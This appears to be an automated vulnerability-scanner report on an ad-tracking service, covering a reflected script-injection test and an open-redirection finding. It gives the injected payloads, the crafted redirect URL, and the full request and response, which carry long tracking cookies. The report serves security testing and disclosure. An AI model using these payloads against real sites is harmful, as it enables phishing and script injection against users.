...[SNIP]...
<div style='display:none'>clicookie:Cs8yN00nznknhnUGHGW1Ag==e1373<script>alert(1)</script>5f238b15df0
userid:
Search Segment</div>
...[SNIP]...

4. Open redirection  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://pix04.revsci.net
Path:   /G10937/a4/0/0/0.302

Issue detail

The value of the tgt request parameter is used to perform an HTTP redirect. The payload http%3a//a9ff4c2a7786e9a78/a%3fhttp%3a//ib.adnxs.com/seg%3fmember%3d514%26add_code%3d{segs} was submitted in the tgt parameter. This caused a redirection to the following URL:

Issue background

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application which causes a redirection to an arbitrary external domain. This behaviour can be leveraged to facilitate phishing attacks against users of the application. The ability to use an authentic application URL, targetting the correct domain with a valid SSL certificate (if SSL is used) lends credibility to the phishing attack because many users, even if they verify these features, will not notice the subsequent redirection to a different domain.

Issue remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behaviour can be avoided in two ways:If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

Request

GET /G10937/a4/0/0/0.302?tgt=http%3a//a9ff4c2a7786e9a78/a%3fhttp%3a//ib.adnxs.com/seg%3fmember%3d514%26add_code%3d{segs} HTTP/1.1
Host: pix04.revsci.net
Proxy-Connection: keep-alive
Referer: http://www.rollcall.com/news/-203351-1.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d6e5f77&0&&4d464cb2&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d73ef70&0&&4d4e2349&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_G07608=0105974ea67d21e1&G07608&0&4d73f5b7&0&&4d4e15ec&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_C07583=0105974ea67d21e1&C07583&0&4d74e384&0&&4d4f68ce&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=0105974ea67d21e1&F08747&0&4d74ec12&0&&4d4e3c30&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_E08745=0105974ea67d21e1&E08745&0&4d7a314a&0&&4d54abd9&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_L09857=0105974ea67d21e1&L09857&0&4d7a5dc4&0&&4d550056&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_A10863=0105974ea67d21e1&A10863&0&4d7b9c60&0&&4d54f31a&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd4SlDOAYUroGia7mY3/LThf7hZKgWnfMKd0Q6GU1VMKyTwOkW082mnkYT7WY2tkKKwpkJ0yIeoRqBHamOlVj1oMoKJkLZrmINSt7vsVXUzF24HAe+oeI4U6GKY1cDWkw4BB9weJqp8GSNceA37pLrhNChPPimxp6F/x/FFbuyN/o07LFhkxcKqV8sMk7Z+TfWtFKQ0tuvAiaToUE8QiqckTmpggEtNVroq8Z4u2gO/w7E2pmXT8lVsNqjMugZXlFxOqrdZ37YTd5OGaXPbGsvBjin8qrLZsR/PyGfLUe3w7wAvhHiqw3pQY1OtebSq1eiSXv8hREvXP7sChMCxeUyrzmtLOCELW1g7aOSChnJJ9dIkxWiHlN4965qRM9fct8AVX6sFnqhRZZw+ndMAuzyzCdC42zYsG1jzkDrONcjBC9dwfpmnvzoHBIcX3gSwVS+VEpLNS8wQJS0qeb1b/wXDSGOoeTaAipWq1nfjrUpJXtghcRQ3deQQ3YW5OIOYTme3KEQpDtsirf9bKd+TgNboDcUNGyAT5DKE7V1M8uZpzwgzIKtBioWHbfIZtbI8tubCkh/CNlXiNgl4ISWjUCrKFYUe+qqFCqrGlEdhosuuhrbaPEv5TiHGU0nus8NDTeqidD7/aqcEv7Phs2OecftdtLvdwL1N5+AcGRnSpDM8EuOv4CXnQ0n+kaKBjY2isQC9XyTH1j4Gj79oDekJAW/T+WIyPlK48QlQNfApsp+w4lFOZuyPR1tU1FarVuur1zVt9tO6Mm5FP6rGdZW8HYibDlFfNnfR4P6xVUPhBjW9Hk5YzvEi+UBKsLGjUhPkS6J8XZe7ThVDIM9S5tpVnhVweyeaMHmxu89kFTKHxQOtJgjuycSF3h4w0Fw4m96UdZGFEnz3ylTR7A0czAFEZQATaazuLLaftkwuwPiV/wYsZOkpd8OyEuojNeQxu3tJoqxL0nMM7yhEPjPG/gJYyj78bz6XaHE4D+fscMQ5JTG2Ae11grCuHY+Fq3akdDZsMR/kMvVmUrCgHdYUfttvenSAXJr/YwVVWa9EynD5v9BdEeBc/4A+P7TGuwr+gZSvyVTf4mTwa4zF2By7jR5sK5AI8gU8QjujS7KkfE1ex+AoPZlb6abpB7OO7MIqkAZXaoOb2sDK8GOrGtQqYv+T7W54uvEUERFadLZKXslil1sxA3G4XTVXJYPkieyrmHLv4AUlVRgdjL9ajLh1cNTb8jnBAl47k+9FuM9cGuY5BND2YUj1Our8HXDchg7vkExOA2ybmj4s8JY9TsRORuJ4DLMnU2KKz3LzUOYVNEXGYEfCinYIZkz+9qgOjWGtmg4FlYAlrYm5f6q7ENIn5Ah175TSqq6QxcSP1//f02fAGRhfbnYmPCHMa1X6aTyPXdtNFQW9ZgPoH00y+0didMcTZsxEuScmlgYOZJKd1uIxKhAayHvDNjGP7Ty8cXcX20UfSpRxnSC1RFWubiUsJ/VNuWvnLFGG8lnKOvB4hS5GvvnXbb+eJRwDPPXRiF1jUHZo3oFXU0f4XlyKhPn1oM3d9uFlBulzCHjBzsw4ih0bgNpxF/mXXXms56UW5BJs4i5N1cgHiA+9+PRspO9j70mTzqgP8xrDzBY6OkA8QotZoJIqT//ydn/lHkuRRQOSLqpYjKLj3pmT/1wNS1o4RZoE7eRCtIukrQ7IMByVm41ZQXX/FiO3YoQPf98+UhGZRrHCXYn0c4LALSfpiFIHTDgpvZXVWaakSQ/2WWQWUDluFScH/BlcPruniJSAzSBgPMepEfPk6wfFikSKN3jyCYXx9N3CE2SpugOfJUSfo0j4tF3vG7FwehvWkX1cncLe/C0F+JElbHeMVGDqJCcc3Jp9kUvmj6U4T0dNdQzIYtxcX51nhADZ8g3TQRWcOQ=; NETSEGS_H07710=0105974ea67d21e1&H07710&0&4d7bcd81&0&&4d55f92b&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLs3t7U2JxpnJ5GrgrzONkdGeE4GvkkPmtaBE6ceE28V9ICwIIDopFUlKF8sGwqzDFmJY0vE5CYqHHN6ScJK7EGuZOhhDAQAd7plvnDlR36he6xymbDLTw7s1amDkqJMjauh29ZY7CLmiF37PgQKcV7G2g71MP/U08f7Xnr9liio+8MO6ZPchlxQbAd5pMwUB4ssMTVhS56wLJO/zW9BHKlFPs0d87qfjkEVMuScmxst0/SPzLzS3JWI1iqngC/YNeX5jaT24FqOTZU4qppcKN6Q+Wtb7GfKg6W3Wl2H9R8XA9LpteEKeaHyIaDXSh+4Wh6WR5hpiqxFMaacnzc34qj3bL0CC5cBdsLfQy2mqNZfzsebLYf2Vrnv1osZpT4Llp9c0Nep/WQ1LbijHklPc5UfovnKJ+jDraDjMzPfdoXP6sgfVt/oUOrGuzDgb2k6LS9HSV4BmxzTRCBoDP6O4CE3goflJrKk9of2lEYVLeakDSDIFrORrA+etlrriUUqbAvUCZM6BFasEqYY1UB36mfg6/OysoGKDlzJjWVkC/y6duf7aLEFRlkWotYYO+ll0NL/mgewJlqlTwaciW2T7MdE8XcqsvtbmQQLXtZg9oF8rhtehuE//Y7YcR2uBgsFu2/cWCKUDSwBOzTY6yRp02cisrvY35A2OdPiySUrWhywDQcmHpQf4Fb8ia+oopkJwS9aGtARkRtAfeNy3aCTQgKj6q9QEkc0Yaw/97eCkF+nGdEw1T/i9HGjFgdIrjbWoKWD+YokNth2oI1iXTYB74VEvIBrtF4+5cKGfnGtwjYUF7PavThzs8LzliOUzuEZMwKKXmtnmZg1v1s+m8kkNuDDSR1hF3mwx4HVfuWrLE+n2PCE4l1guyCKkygMZnp0dYLC5knnw5ZZTUpSq8qkivdsKmMcfRb8t5SDkEzJB9L9w3kn4UBIigFoTyUuMnZZ2Z/QFBONp2f2rhiT2C377lU1yls+zdERBC9vGDwrbhqaPX/Sk9weDsYQks+Adl97QicE/hGfGpVxEWOcKMxi3W+cfNNmkGGYZjljQmpuoQRRynRsHkXjP/eIzwNrgDmZNcjNb5A7aA5jgFZNjSmhnKP7r+WHNTZRmnpSdqk/sIiX7QCHJm52bCW3vCb+eoGl+Rn1Fjf+TNlHvRw03kituCBJ5yraOmr1waT6H4QbWGvgcxduuWeSKdp8no/jj/3dnIAqqXtXH5Orjo3aKcPV60Fp1S73y3zCL8fnm7yjRckrZir3ioaUFeQQ23eQbjH4y865YsrGPPc3599nLHdNs+G84tjXWJ+8Ebo+OSbxPzC7bo3dhzmZR9hlhmaeBs8IZL3CyanKSIYYkHuFYahP6ie0bF2tnFDbb1Uw8N1Zf5xq45dyWB9iwD/CRiHa6L6qiJc2FSdKaA+JRAINh2WOcvfjSduIsd6xXCCm7RWQQyqdQsp2t5jjHu+D3jbgmK0Pnm+oEMJRLkirEZzmKK4mcJe76qXbqK4vrSae7fIjk0CdNZg7IOzW3olxFz+wnqyR90WpnlCEUgq235belo2lbhW/MUK7Ik+tU4tPnEoKNPa7; rsi_segs_1000000=pUPF40+huXIQTzaxs0YFwqhWTc0VhLYPfOIWR6Zp6LdVqYeIBzGNvYNLatz2X2BRF3cmWAaO8WiK5sXlEHZBPYqHWadW+kz5aCyyYwQBwvXwP9rrcegkKQnklzLJOnaXiAUW+RdnjyPSWLjHaFwc9SFdsoMA+B5UAre7dQbTwPAKA18+MTTfySeifmUE8pz2bv8Ga4U7Vc/arStsd6xrfe7wtOlCu+WjAAodsQz9nqSNEixusLWxAePOFh7Utl1fm76PgoKWt8dCfd5HHJswHnh58CqJoJnPBTDSETltkzxIkC6IXxQP0SVbu5r2j04pZKzCo+Xly+Mv/jbaFWcJ83JVYma4BhTPX/g8kRDdR2etYjt+gcBjGJDcrYggUg4PECh4H0qtTWzeh2S1G2cYFjEpP/k4Hy8gTM5YnVOeQN1t55sO6806L5OifKNV5zzB76HLRjtFrOlu84AY8wzG9l0gANQzGa5y+RCwX3FEBCF6vj+rB6cIDOGFvpuxQc26cQSUdy6m4O87kvCrtISf73Khyj3VyrmZy7Zw3dvKDun63Th1eYVYr8/CZq1IyaaNfCJ31e70vtMNmBIhGjvfKkIG1gEehmPpqXGV/o9qSRYAOYcPupegstSV+f03GMU=; udm_0=MLv3NTHtJjpr36zevo5cxP9XWiwe6sXs+ckYFUcWNFJqvISqiazmj0QAj4ie0hRHjgaCvFyVGRbIAi3mAcogYwmTs25nDPLkZuRnJb6xofNqWDZgKTYgIiyiY3uworqGjYrZuhhIiIPbkg+C3tkBj1bAI+RlDDdXZsADMREf3ny/rm2pgcRIp+UY3NJe1UfWQRrO/hwOk6HHfupD/KJAxLdco+gZsTIqCiHanzrhbOjbJNfe6EseO4cRrLuQqS+GtF+VEGnNUMiTVhZm/z83hMTUB3e23bcBLYzxrHLlNRxJZM12+OOygJR2OJUpCwWMDpGMmWLa7F+RBqPSMT+S66hDyHAR7PWb0VuluI9b4QAk6gqktIH4WCtmH6bTw73EoL5iUKlYN6Z9D6XgHIONjvbz3FccdmElidoQNElZgaHerov4GlDrNmtZQygm46bbAY6CeVtZz+RZ+BZL9YqlbN4bs/fDi5nbv2IQMBNwesF7XJgzfiyngMO309FYvUQ25MwPURyOGuDxC23xHBUsxk1TNvo0NzhtTfeZsrb65BOMVaGRmB/RjqWY0i/V/5iTj3HHc7ROo5AIS/xBovfDciRDExo0FwLr2SvE7DrfvUjHR5shA6bXIJXx7AXPduet7Ztd2Zhk+pGekgCS4DQpsrGYeBK7bbTFo5T/EwK9f1dnGtlUkrKYLnZIBhZDSsDkDYlYQnK2FJfrTWKVc2DpXdfT/9RCHPNZDlS0ZLg3ORKmpjak6CwjfV2Im4oRzrMSQ+W7dtUl/TeXIgQ0d7wlMvuIj5LGRM/rb5zeF79K84yxq+di6p3a/fJPGT42br8shRETc5KJ/6jMXRFMiqraZ5rrWL8PfD1mw4ZfVukmhjtvUfPQ8t7dbyMy8rsx99+FnPEOwvhdMC7u3h3OCIm7BwhWq5thjIbn3/oHj98YjmLABepXte1xK6KEDpdozbOfh+TZQ74/nQdE1mZmz2YotB3hFEEWlJik5M3h7NPKEbrtPOKP79rmu345k9iQ1vbxQhPyO/9r16xaF8aQAc/6UzNWm/+6+PNAebxEOVipIIuuPvkr9eur7h0wlmLuebfs4FRrjd4iZVNZYJgv8NERXegKSQm8qpNy5Zn5sO0AFbxhjhRR6dEaIKqShZ7tRYxX1I+etXNkpLWfmIjvq6vWAGC1BMZypV4PTYC/NuNBvOlTc908HOspCTSdDXYZg1IeTysTII2PDUnHq3Ed/LqMQNaRpjMtdu3yRSyPGdXEkQrfnpAuuFxq2OeARMb42nMC5YpTE/qs/d3dpre6qD7yIyrdpg5r6jaG2oQ2o7jqELpiS9HlemLdFz07twXeX8yeNSWqrtD6tHFepb4D8lCluppEds2BwuodubYd0a5kkXvZUki/+80a2xDw/rek20IuOt318YzbSB0kKPi479t0ie3TijnoCd+R2E4/qd4fpuqL

Response

HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/
Set-Cookie: rsi_segs_1000000=pUPF4zOheXIMJ/C100a+jtCuBrJiHuYbsTcQz+9rAM8anmfBQgIYmwLmqlJ+EV6W8KZHxfCcNw/TMOOBfOojyUJI1v099aE2dgVej74evOiHNhDNQrsEJPugR1RPODTh6gkCNv0jPYZ4MJAYrgPOAqZPReZbNdZHYb5fLXoIYMTPfGNqJyZ4sTMKTRkMOkVg9n9segO11tN20/8ZrHQT0secKUqZfSlg267ehdFLKKQnVQXjnDjXqwXYIL0+K+iTvgJQikWo8axCvxCW0pXD8NQ8wQCP37W7gwQtrYPUtDaoRkr31mof3RQWLVc/qgjBuCwRb3JOsuH4nyCsvgv4zocFaxCdhRQAxIfxibKPx41oDa4k/3fPaOZA1o9oxB4wlKZiWj/xKWoC57RD98AM3sBvd8dIEPOfLG42Wv80EH/JL3xqjxlD+LFVziwho9TL/zKlu7oMV25q3G5wxi7853eTntfHlrzECFsgalTlM+OiqwMsYkO8KOBEy8T2PjOxu6Pw+xrTwj6m0kps8+z9GH7ZBgteeXoMtzs0VKAcAo6soeGRxpUSoR1SMmAcLMoMliCnuSzOgjgqQyVLPIFWm/C+si8xUeIFH+z63ZOqBQuCz4CCsDVSrt3DIV2wGpC+qA==; Domain=.revsci.net; Expires=Mon, 13-Feb-2012 01:13:25 GMT; Path=/
X-Proc-ms: 1
P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA"
Server: RSI
Cache-Control: no-cache
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Location: http://a9ff4c2a7786e9a78/a?http://ib.adnxs.com/seg?member=514&add_code=K08784_10001,K08784_10010,K08784_10030,K08784_10065,K08784_10098,K08784_10163,K08784_10215,K08784_10221,K08784_10240
Content-Length: 0
Date: Sun, 13 Feb 2011 01:13:25 GMT


Report generated by CloudScan Vulnerability Crawler at Mon Feb 14 09:16:08 CST 2011.